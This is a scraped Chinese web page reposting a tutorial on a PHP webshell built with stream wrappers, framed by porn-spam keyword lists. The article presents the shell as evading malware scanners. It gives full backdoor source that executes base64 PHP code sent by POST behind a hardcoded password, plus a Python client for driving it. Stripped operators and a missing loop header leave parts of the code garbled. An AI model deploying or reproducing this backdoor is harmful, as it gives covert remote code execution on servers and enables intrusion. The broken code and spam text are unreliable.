成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁 > 知識(shí)庫 > PHP使用流包裝器實(shí)現(xiàn)WebShell的方法

PHP使用流包裝器實(shí)現(xiàn)WebShell的方法

熱門標(biāo)簽:電信外呼系統(tǒng)多少錢一個(gè)月 桂陽公司如何做地圖標(biāo)注 合肥企業(yè)外呼系統(tǒng)線路 代理打電話機(jī)器人 太原400電話申請流程 萍鄉(xiāng)商鋪地圖標(biāo)注 企業(yè)400電話辦理多少費(fèi)用 神龍斗士電話機(jī)器人 宿州正規(guī)外呼系統(tǒng)軟件

0×00 前言

在Web安全領(lǐng)域WebShell的構(gòu)造與查殺是永不停息的話題,這幾天發(fā)現(xiàn)了一種新型方式生成WebShell,隱蔽度高,目前安全查殺軟件沒法檢測到相關(guān)的后門漏洞,不同于 eval 或則 asset 等方式運(yùn)行后門,對于這兩個(gè)函數(shù)禁用的情況下一樣適用,目前除了禁用相關(guān)函數(shù)還暫時(shí)沒有相關(guān)方式來避免漏洞。

0×01 后門原理

在PHP開發(fā)中,我們使用最為頻繁的指令大概就是 include 指令, include 指令中一些比較普通的文件包含漏洞我們就忽略了,先來看看一串代碼:

include 'http://www.test.com/code.php'

我們通過這一串代碼可以很容易的引用外部的PHP程序,但是前提是配置文件允許該行為被執(zhí)行,先看看我的配置項(xiàng)

;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen =Off
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off

從配置文件可以看到,allow_url_include 被我關(guān)閉了,也就是包含遠(yuǎn)程代碼是不可能執(zhí)行的,但是我們這里利用了一個(gè)東西。http:// 流,我們知道,在PHP中很多東西都是可以通過流包裝器來使用的,比如常見的 php:// 流,我們可以通過 php://input 來獲取輸入流來讀取請求體的內(nèi)容,那么根據(jù)這個(gè)思路,我們能不能通過流包裝器來實(shí)現(xiàn)代碼執(zhí)行?答案是可行的 通過PHP函數(shù) stream_wrapper_register 注冊包裝器,檢測特定的URL包裝功能,監(jiān)控 include 流,在 include 流中動(dòng)態(tài)生成PHP代碼,我將通過如下代碼執(zhí)行一個(gè) hello world 程序來證明這個(gè)過程

include 'hello://dxkite';

Hello Stream Wrapper 的實(shí)現(xiàn)

code = "position = 0;
  return true;
 }
 public function stream_read($count)
 {
  $ret = substr($this->code, $this->position, $count);
  $this->position += strlen($ret);
  return $ret;
 }
 public function stream_tell()
 {
  return $this->position;
 }
 public function stream_eof()
 {
  return $this->position >= strlen($this->code);
 }
 public function stream_seek($offset, $whence)
 {
  switch ($whence) {
   case SEEK_SET:
    if ($offset  strlen($this->code)  $offset >= 0) {
     $this->position = $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_CUR:
    if ($offset >= 0) {
     $this->position += $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_END:
    if (strlen($this->code) + $offset >= 0) {
     $this->position = strlen($this->code) + $offset;
     return true;
    } else {
     return false;
    }
    break;
   default:
    return false;
  }
 }
 public function stream_stat()
 {
  return stat(FILE);
 }
}
stream_wrapper_register('hello', HelloStream::class);
include 'hello://dxkite';

通過如上的代碼,經(jīng)過執(zhí)行后,可以輸出一個(gè) hello worldHelloWorld

 

0×02 后門示例

通過上述程序,我們實(shí)現(xiàn)了通過 include 指令直接執(zhí)行 php ,并插入我們想要的效果,我們現(xiàn)在根據(jù)這個(gè)原理寫一個(gè)Shell:

后門程序

@link //dxkite.cn
 */
class ShellStream
{
 protected $position;
 protected $code;
 public function stream_open($path, $mode, $options, $opened_path)
 {
  $url = parse_url($path);
  $name = $url["host"];
  $this->code = base64_decode($name);
  $this->position = 0;
  return true;
 }
 public function stream_read($count)
 {
  $ret = substr($this->code, $this->position, $count);
  $this->position += strlen($ret);
  return $ret;
 }
 public function stream_tell()
 {
  return $this->position;
 }
 public function stream_eof()
 {
  return $this->position >= strlen($this->code);
 }
 public function stream_seek($offset, $whence)
 {
  switch ($whence) {
   case SEEK_SET:
    if ($offset  strlen($this->code)  $offset >= 0) {
     $this->position = $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_CUR:
    if ($offset >= 0) {
     $this->position += $offset;
     return true;
    } else {
     return false;
    }
    break;
   case SEEK_END:
    if (strlen($this->code) + $offset >= 0) {
     $this->position = strlen($this->code) + $offset;
     return true;
    } else {
     return false;
    }
    break;
   default:
    return false;
  }
 }
 // include
 public function stream_stat()
 {
  return stat(FILE);
 }
 // file exists
 public function url_stat(string $path,int $stat)
 {
  return stat(FILE);
 }
 public static function shell(){
  stream_wrapper_register('shell', ShellStream::class);
  if (isset($_POST['password'])  $_POST['code']) {
   if ($_POST['password']=='dxkite') {
    $code = $_POST['code'];
    include 'shell://'.$code;
   } else {
    include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';
   }
  }
 }
}

ShellStream::shell();

 

上述我實(shí)現(xiàn)了一個(gè)使用 $_POST 作為輸入,接收密碼和php代碼的base64并執(zhí)行代碼的后門利用程序

import requests 
import base64
import sys
def send_raw(url,password,cmd):
 res=requests.post(url,{
  'password':password,
  'code': base64.b64encode(cmd.encode('utf-8')) 
 })
 return res.text
def send_php_shell(url,password,cmd):
 return send_raw(url,password,'')
  if cmd == 'exit':
   break
  elif cmd.startswith('run'):
   cmd,path = cmd.split(' ',1)
   code = ''
   with open(path) as f:
    for line in f:
     code = code + line + "\r\n" 
   response = send_raw(url,password,code);
   print(response)
  else:
   response = send_php_shell(url,password,cmd);
   print(response)

我們把我們的 shell.php 部署到服務(wù)器上,執(zhí)行測試 shell.py :

php-shell.png

其中,test.php 的內(nèi)容為:

?php
 include 'PD9waHAgZWNobyAiaGVsbG8gc2hlbGxcclxuIjs';
 echo 'hello, shell world';

0×03 后門查殺

百度在線掃描

 

安全狗本地掃描

 

總結(jié)

以上所述是小編給大家介紹的PHP使用流包裝器實(shí)現(xiàn)WebShell的方法,希望對大家有所幫助,如果大家有任何疑問歡迎給我留言,小編會(huì)及時(shí)回復(fù)大家的!

您可能感興趣的文章:
  • php木馬webshell掃描器代碼
  • 精確查找PHP WEBSHELL木馬 修正版
  • 精確查找PHP WEBSHELL木馬的方法(1)
  • PHP webshell檢查工具 python實(shí)現(xiàn)代碼
  • phpMyAdmin 后臺(tái)拿webshell

標(biāo)簽:崇左 白銀 太原 廊坊 辛集 綏化 衡陽 鄂州

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《PHP使用流包裝器實(shí)現(xiàn)WebShell的方法》,本文關(guān)鍵詞  PHP,使用,流,包裝,器,實(shí)現(xiàn),;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《PHP使用流包裝器實(shí)現(xiàn)WebShell的方法》相關(guān)的同類信息!
  • 本頁收集關(guān)于PHP使用流包裝器實(shí)現(xiàn)WebShell的方法的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    亚洲精选视频免费看| 亚洲国产一区二区久久久777| 国产精品一二区| 二吊插入一穴一区二区| 国产高清在线观看免费不卡| 日韩.欧美.亚洲| 国产精品成人aaaa在线| 国产一区二区三区日韩欧美| 中文精品在线观看| 北条麻妃国产九九精品视频| 国产午夜精品福利| 欧美日韩国产免费一区二区三区| 欧美顶级毛片在线播放| 久久久国产精品不卡| 大胆国模一区二区三区| 欧美性极品xxxx娇小| 色噜噜亚洲精品中文字幕| 亚洲精品视频大全| 国产又粗又猛又爽又黄视频| 妖精视频一区二区三区免费观看| 欧美日韩黄色一区二区| 97超碰在线免费观看| 色综合久久中文字幕综合网小说| www.色就是色| 91免费精品国偷自产在线| 国产黄大片在线观看画质优化| 伊人伊成久久人综合网站| 五月婷婷激情久久| 欧美写真视频网站| 国外成人福利视频| 欧美片一区二区三区| 日本一区高清在线视频| 狠狠干狠狠操视频| 182tv在线播放| 韩国av在线免费观看| 国产亚洲一级高清| aiss精品大尺度系列| 好吊色视频在线观看| www日本高清| 亚洲免费看片| 狠狠躁夜夜躁av无码中文幕| 欧美色成人综合| 国产中文字幕免费观看| 四虎影视免费永久在线| 久久免费视频精品| 国产自产在线视频一区| 丰满熟女一区二区三区| 国产成人一二三区| 懂色av蜜臀av粉嫩av分享吧| 欧美国产日韩综合| 欧美日韩卡一卡二| 玖草视频在线| 久久亚洲不卡| 偷拍视屏一区| 国产福利久久久| 这里只有久久精品视频| 国产成人av一区二区三区在线| 99精彩视频| 69av亚洲| 国产乱子伦一区二区三区国色天香| 顶级网黄在线播放| 久久青青草视频| 国产成人av在线影院| 日本中文字幕在线| 大胆国模一区二区三区| 中文字幕亚洲一区二区av在线| 免费高清视频精品| 日韩新的三级电影| 成人免费高清视频在线观看| 欧美中文在线| 国产成一区二区| 中文资源在线播放| 亚洲精品456| 91中文字幕在线观看| 正在播放木下凛凛xv99| 亚洲精品日日夜夜| 成人台湾亚洲精品一区二区| 国产色产综合色产在线视频| 欧美freesextv| 欧美日韩在线第一页| 成人xxxx视频| 欧美老女人性生活视频| 天堂午夜影视日韩欧美一区二区| 日韩精品――中文字幕| 91精品论坛| 国产一二三区在线播放| 久久久人人爽| 国产精品成人免费观看| 久久综合久久色| 亚洲精品久久久蜜桃动漫| 中文天堂av| 日本中文字幕高清| 少妇一级淫片免费看| 女人天堂亚洲aⅴ在线观看| 国产精品久久久久久久久久99| 国产三级伦理片| 91精品免费看| 粉嫩av性色av蜜臀av网站| 亚洲一区二区三区香蕉| 亚洲午夜精品久久久久久高潮| 久久久99国产精品免费| 国内自拍在线观看| 亚洲综合av在线播放| 懂色av蜜臀av粉嫩av分享吧| av日韩久久| 亚洲精品国自产拍在线观看| 欧美激情在线免费| 韩国理伦片一区二区三区在线播放| 成人av一区二区三区| 奇米4444一区二区三区| 中文字幕的av| 精品伦理一区二区三区| 久久久91精品国产一区二区精品| 97婷婷涩涩精品一区| 国产一区二区在线观看视频| 蜜桃免费网站一区二区三区| 久久久97精品| 91成人综合网| 久久se精品一区精品二区| 免费一级毛片在线观看| 成人做爰免费视频免费看| 国产精品无码网站| 精品视频久久| 欧美国产综合色视频| 国产精品69久久久久| 日韩中文首页| 欧洲美女精品免费观看视频| 91精品国产色综合久久不卡电影| 无码 人妻 在线 视频| 亚洲精品久久久久| 原创国产精品91| 亚洲激情不卡| 国产精品69av| 神马影院午夜我不卡影院| 内射无码专区久久亚洲| 国产欧美日韩电影| 曰本大片免费观看视频| 日韩伦理一区二区三区| 日韩av中文字幕在线免费观看| 欧美亚洲图片小说| 精品国产欧美| 蜜桃精品在线| 国产伦精品一区二区三区视频女| 奇米影视一区二区三区小说| 美女视频免费观看网站在线| 日韩成人在线网站| 国产在线一卡二卡| 黄色福利视频网站| 欧美丝袜足交| 亚洲人成在线观看| 精品久久久久人成| 欧美在线亚洲综合一区| 国产精品国产三级国产有无不卡| 女人抽搐喷水高潮国产精品| 激情五月婷婷久久| 日日夜夜精品免费视频| 妞干网免费在线视频| 老司机色在线视频| 欧美性xxxxhd| 一区二区三区不卡视频在线观看| 亚洲人成绝费网站色www| 国产成人精品久久久| 欧美一区二区成人6969| 四虎4hu永久免费入口| 欧美一二三在线| 精品人人人人| 岛国视频免费在线观看| 国产熟妇久久777777| 国产一区二区成人久久免费影院| 精品中文字幕一区二区| 久草视频国产| 日韩在线资源| 国产大屁股喷水视频在线观看| av日韩在线网站| 国产一区二区美女| 日韩国产在线观看| 欧洲精品久久一区二区| 91chinesevideo永久地址| 亚洲电影在线免费观看| 国内揄拍国内精品久久| 国产丶欧美丶日本不卡视频| 写真福利片hd在线播放| 二区三区在线视频| 国产 欧美 日韩 一区| 欧美日本韩国在线| 国产91沈先生在线播放| 久久久久久久中文| 国产一区二区99| 日本午夜精品理论片a级app发布| www.久久国产| 欧美小视频在线| 最新国产在线观看| 午夜激情福利网| 国产精品久久久久久av下载红粉| 日韩欧美第二区在线观看| 欧美最猛性xxxxx直播| 欧美1—12sexvideos| 亚洲电影免费观看高清完整版在线观看| 亚洲在线观看视频网站| 亚洲色图25p| 国产欧美日韩免费观看| 91caopron| 五月丁香综合缴情六月小说| 奇米影视第四色777| 精品极品三级久久久久| 99精品在线观看视频| 欧美女同一区| 91九色国产视频| 特级西西444www大精品视频| 91老司机在线| 久久久国产精彩视频美女艺术照福利| 欧美吻胸吃奶大尺度电影| 欧美性理论片在线观看片免费| 日韩一区有码在线| 黄色国产一级视频| h网站免费看| 欧美大人香蕉在线| 国产jizzjizz一区二区| 欧美激情精品久久久久久免费印度| 岛国精品一区二区三区| jizz性欧美2| 一区二区三区在线视频观看| 91视频一区二区三区| 免费中文字幕日韩欧美| 色综合久久中文字幕综合网| 日本综合一区二区三区| 亚洲私拍自拍| 鲁片一区二区三区| 日本一区二区在线观看视频| 免费观看黄色大片| 亚洲视频在线观看视频| 亚洲欧美国产77777| 成 人 黄 色 小说网站 s色| 色佬视频在线观看| 日本三级亚洲精品| 136国产福利精品导航网址应用| 久久精品性爱视频| 国产91足控脚交在线观看| 2020国产在线| 欧美性受xxxx黑人xxxx| 国产成人禁片免费观看| 国产不卡免费视频| 在线毛片网站| 欧美5-7sexvideos处| 日韩av大片免费看| 性欧美大战久久久久久久免费观看| 国产精品午夜电影| 精人妻无码一区二区三区| 日本三级在线播放完整版| 欧美性爽视频| 中文字幕日韩精品久久| 国产激情久久久久久熟女老人av| 国产精品乱战久久久| 国产精品视频中文字幕91| 懂色av一区二区三区免费观看| 午夜激情视频网| 国产性生活网站| 国产精品成人免费电影| 亚洲精品av在线播放| 97久久超碰精品国产| 亚洲国产另类 国产精品国产免费| 欧美一级特黄a| www日本在线观看| 亚洲婷婷国产精品电影人久久| 欧美精品1区2区| 日韩三级av高清片| 五月天最新网址| 成人动漫一区| 能在线观看的av网站| 欧美成人免费视频a| 免费大片黄在线观看视频网站| 小说区图片区图片区另类灬| 素人av在线| 久久久久久国产精品日本| 黄色影视在线观看| 欧美在线视频免费观看| 麻豆成全视频免费观看在线看| 北条麻妃在线| 精品视频在线观看日韩| 黄色免费网站视频| 91高清在线| 懂色中文一区二区三区在线视频| 粉嫩高潮美女一区二区三区| 男人插女人视频在线观看| 八戒八戒神马在线电影| 丰满少妇一区二区三区专区| 午夜久久久久久久久| 老牛嫩草一区二区三区日本| 亚洲一区二区三区四区的| 久久综合色之久久综合| 欧美日韩一区二区在线观看| 一区二区精品免费| av理论在线观看| www.久久91| 91精品国产毛片武则天| 欧美日韩三级一区| 亚洲精品视频在线观看网站| 先锋音影av资源中文网| 男人的天堂avav| 免费的av网址| av一区二区三区免费| 欧美精品一区二区三区精品| 国产网站在线| 欧美性猛交xxxx乱大交3| 3p在线观看| 老司机精品福利在线观看| 日b视频免费观看| 国产精品成人aaaaa网站| 91精品国产综合久久久久久蜜臀| 国产97免费视频| 欧美另类69精品久久久久9999| 午夜婷婷在线观看| 一区二区三区久久| 免费成人深夜夜行视频| 台湾成人免费视频| 67194成人在线观看| 8×8x拔擦拔擦在线视频网站| 九九精品调教| 国产精品一品视频| 国产成人精品一区二三区在线观看| 欧美极度另类| 国产一区视频在线观看免费| 成人短视频软件网站大全app| 天天影视久久综合| 深夜福利在线视频| 国产老头老太做爰视频| 男女性杂交内射妇女bbwxz| 国产精品卡一卡二卡三|